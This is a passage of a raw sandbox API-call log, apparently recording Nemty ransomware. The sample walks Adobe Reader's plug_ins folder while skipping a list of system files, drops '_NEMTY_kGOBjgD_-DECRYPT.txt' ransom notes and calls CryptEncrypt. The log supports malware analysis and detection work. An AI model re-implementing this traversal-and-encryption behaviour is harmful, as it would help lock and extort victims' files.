dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0186.793] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83529920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41a8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="piaglbreakfinder.dll", cAlternateFileName="PIAGLB~1.DLL")) returned 1 [0186.793] lstrcmpiW (lpString1="piaglbreakfinder.dll", lpString2=".") returned 1 [0186.793] lstrcmpiW (lpString1="piaglbreakfinder.dll", lpString2="..") returned 1 [0186.793] lstrcmpiW (lpString1="piaglbreakfinder.dll", lpString2="...") returned 1 [0186.793] lstrcmpiW (lpString1="piaglbreakfinder.dll", lpString2="windows") returned -1 [0186.793] lstrcmpiW (lpString1="piaglbreakfinder.dll", lpString2="$RECYCLE.BIN") returned 1 [0186.793] lstrcmpiW (lpString1="piaglbreakfinder.dll", lpString2="rsa") returned -1 [0186.793] lstrcmpiW (lpString1="piaglbreakfinder.dll", lpString2="NTDETECT.COM") returned 1 [0186.793] lstrcmpiW (lpString1="piaglbreakfinder.dll", lpString2="ntldr") returned 1 [0186.793] lstrcmpiW (lpString1="piaglbreakfinder.dll", lpString2="MSDOS.SYS") returned 1 [0186.793] lstrcmpiW (lpString1="piaglbreakfinder.dll", lpString2="IO.SYS") returned 1 [0186.793] lstrcmpiW (lpString1="piaglbreakfinder.dll", lpString2="boot.ini") returned 1 [0186.793] lstrcmpiW (lpString1="piaglbreakfinder.dll", lpString2="boot.ini") returned 1 [0186.793] lstrcmpiW (lpString1="piaglbreakfinder.dll", lpString2="AUTOEXEC.BAT") returned 1 [0186.793] lstrcmpiW (lpString1="piaglbreakfinder.dll", lpString2="ntuser.dat") returned 1 [0186.793] lstrcmpiW (lpString1="piaglbreakfinder.dll", lpString2="desktop.ini") returned 1 [0186.793] lstrcmpiW (lpString1="piaglbreakfinder.dll", lpString2="CONFIG.SYS") returned 1 [0186.793] lstrcmpiW (lpString1="piaglbreakfinder.dll", lpString2="RECYCLER") returned -1 [0186.793] lstrcmpiW (lpString1="piaglbreakfinder.dll", lpString2="BOOTSECT.BAK") returned 1 [0186.793] lstrcmpiW (lpString1="piaglbreakfinder.dll", lpString2="bootmgr") returned 1 [0186.793] lstrcmpiW (lpString1="piaglbreakfinder.dll", lpString2="programdata") returned -1 [0186.793] lstrcmpiW (lpString1="piaglbreakfinder.dll", lpString2="appdata") returned 1 [0186.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0186.793] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="piaglbreakfinder.dll", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0186.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.793] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="piaglbreakfinder.dll", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="piaglbreakfinder.dll", lpUsedDefaultChar=0x0) returned 20 [0186.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0186.793] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="piaglbreakfinder.dll", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0186.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.794] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="piaglbreakfinder.dll", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="piaglbreakfinder.dll", lpUsedDefaultChar=0x0) returned 20 [0186.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0186.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0186.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0186.794] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="piaglbreakfinder.dll", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0186.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.794] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="piaglbreakfinder.dll", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="piaglbreakfinder.dll", lpUsedDefaultChar=0x0) returned 20 [0186.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0186.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0186.794] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="piaglbreakfinder.dll", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0186.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.794] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="piaglbreakfinder.dll", cchWideChar=20, lpMultiByteStr=0x4f9ed58, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="piaglbreakfinder.dll", lpUsedDefaultChar=0x0) returned 20 [0186.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0186.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0186.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351cd8 | out: hHeap=0x4f90000) returned 1 [0186.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.794] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="plug_ins", cAlternateFileName="")) returned 1 [0186.794] lstrcmpiW (lpString1="plug_ins", lpString2=".") returned 1 [0186.794] lstrcmpiW (lpString1="plug_ins", lpString2="..") returned 1 [0186.794] lstrcmpiW (lpString1="plug_ins", lpString2="...") returned 1 [0186.794] lstrcmpiW (lpString1="plug_ins", lpString2="windows") returned -1 [0186.794] lstrcmpiW (lpString1="plug_ins", lpString2="$RECYCLE.BIN") returned 1 [0186.794] lstrcmpiW (lpString1="plug_ins", lpString2="rsa") returned -1 [0186.794] lstrcmpiW (lpString1="plug_ins", lpString2="NTDETECT.COM") returned 1 [0186.794] lstrcmpiW (lpString1="plug_ins", lpString2="ntldr") returned 1 [0186.794] lstrcmpiW (lpString1="plug_ins", lpString2="MSDOS.SYS") returned 1 [0186.794] lstrcmpiW (lpString1="plug_ins", lpString2="IO.SYS") returned 1 [0186.794] lstrcmpiW (lpString1="plug_ins", lpString2="boot.ini") returned 1 [0186.794] lstrcmpiW (lpString1="plug_ins", lpString2="boot.ini") returned 1 [0186.794] lstrcmpiW (lpString1="plug_ins", lpString2="AUTOEXEC.BAT") returned 1 [0186.794] lstrcmpiW (lpString1="plug_ins", lpString2="ntuser.dat") returned 1 [0186.794] lstrcmpiW (lpString1="plug_ins", lpString2="desktop.ini") returned 1 [0186.795] lstrcmpiW (lpString1="plug_ins", lpString2="CONFIG.SYS") returned 1 [0186.795] lstrcmpiW (lpString1="plug_ins", lpString2="RECYCLER") returned -1 [0186.795] lstrcmpiW (lpString1="plug_ins", lpString2="BOOTSECT.BAK") returned 1 [0186.795] lstrcmpiW (lpString1="plug_ins", lpString2="bootmgr") returned 1 [0186.795] lstrcmpiW (lpString1="plug_ins", lpString2="programdata") returned -1 [0186.795] lstrcmpiW (lpString1="plug_ins", lpString2="appdata") returned 1 [0186.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.795] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="plug_ins", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0186.795] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="plug_ins", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plug_ins", lpUsedDefaultChar=0x0) returned 8 [0186.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.795] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="plug_ins", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0186.795] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="plug_ins", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plug_ins", lpUsedDefaultChar=0x0) returned 8 [0186.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0186.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0186.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0186.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0186.795] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.795] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0186.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0186.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0186.795] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0186.797] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0186.797] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.797] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0186.798] CloseHandle (hObject=0x1ec) returned 1 [0186.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0186.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0186.798] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0186.798] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0186.798] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0186.798] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0186.798] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.798] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.798] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.798] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.798] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0186.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.798] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0186.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.798] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0186.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.799] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.799] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0186.800] CloseHandle (hObject=0x1ec) returned 1 [0186.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0186.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0186.802] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x22fbd4f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x22fbd4f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0186.802] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0186.802] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x22fbd4f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x22fbd4f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0186.802] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0186.802] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0186.802] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dab5520, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ec63, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Accessibility.api", cAlternateFileName="ACCESS~1.API")) returned 1 [0186.802] lstrcmpiW (lpString1="Accessibility.api", lpString2=".") returned 1 [0186.802] lstrcmpiW (lpString1="Accessibility.api", lpString2="..") returned 1 [0186.802] lstrcmpiW (lpString1="Accessibility.api", lpString2="...") returned 1 [0186.802] lstrcmpiW (lpString1="Accessibility.api", lpString2="windows") returned -1 [0186.802] lstrcmpiW (lpString1="Accessibility.api", lpString2="$RECYCLE.BIN") returned 1 [0186.802] lstrcmpiW (lpString1="Accessibility.api", lpString2="rsa") returned -1 [0186.802] lstrcmpiW (lpString1="Accessibility.api", lpString2="NTDETECT.COM") returned -1 [0186.802] lstrcmpiW (lpString1="Accessibility.api", lpString2="ntldr") returned -1 [0186.802] lstrcmpiW (lpString1="Accessibility.api", lpString2="MSDOS.SYS") returned -1 [0186.802] lstrcmpiW (lpString1="Accessibility.api", lpString2="IO.SYS") returned -1 [0186.803] lstrcmpiW (lpString1="Accessibility.api", lpString2="boot.ini") returned -1 [0186.803] lstrcmpiW (lpString1="Accessibility.api", lpString2="boot.ini") returned -1 [0186.803] lstrcmpiW (lpString1="Accessibility.api", lpString2="AUTOEXEC.BAT") returned -1 [0186.803] lstrcmpiW (lpString1="Accessibility.api", lpString2="ntuser.dat") returned -1 [0186.803] lstrcmpiW (lpString1="Accessibility.api", lpString2="desktop.ini") returned -1 [0186.803] lstrcmpiW (lpString1="Accessibility.api", lpString2="CONFIG.SYS") returned -1 [0186.803] lstrcmpiW (lpString1="Accessibility.api", lpString2="RECYCLER") returned -1 [0186.803] lstrcmpiW (lpString1="Accessibility.api", lpString2="BOOTSECT.BAK") returned -1 [0186.803] lstrcmpiW (lpString1="Accessibility.api", lpString2="bootmgr") returned -1 [0186.803] lstrcmpiW (lpString1="Accessibility.api", lpString2="programdata") returned -1 [0186.803] lstrcmpiW (lpString1="Accessibility.api", lpString2="appdata") returned -1 [0186.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0186.803] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.api", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0186.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.803] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.api", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Accessibility.api", lpUsedDefaultChar=0x0) returned 17 [0186.803] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0186.803] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.api", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0186.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.803] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.api", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Accessibility.api", lpUsedDefaultChar=0x0) returned 17 [0186.803] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.803] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0186.803] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0186.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0186.803] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.api", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0186.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.803] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.api", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Accessibility.api", lpUsedDefaultChar=0x0) returned 17 [0186.803] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0186.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0186.803] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.api", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0186.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.803] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.api", cchWideChar=17, lpMultiByteStr=0x4f9ed58, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Accessibility.api", lpUsedDefaultChar=0x0) returned 17 [0186.803] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0186.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0186.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0186.804] Sleep (dwMilliseconds=0x5) [0186.808] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x22fe3650, dwHighDateTime=0x1d561e8)) [0186.808] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x22fe3650, dwHighDateTime=0x1d561e8)) [0186.808] GetLastError () returned 0xb7 [0186.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.808] GetLastError () returned 0xb7 [0186.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0186.808] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0186.808] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0186.808] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0186.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0186.808] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: 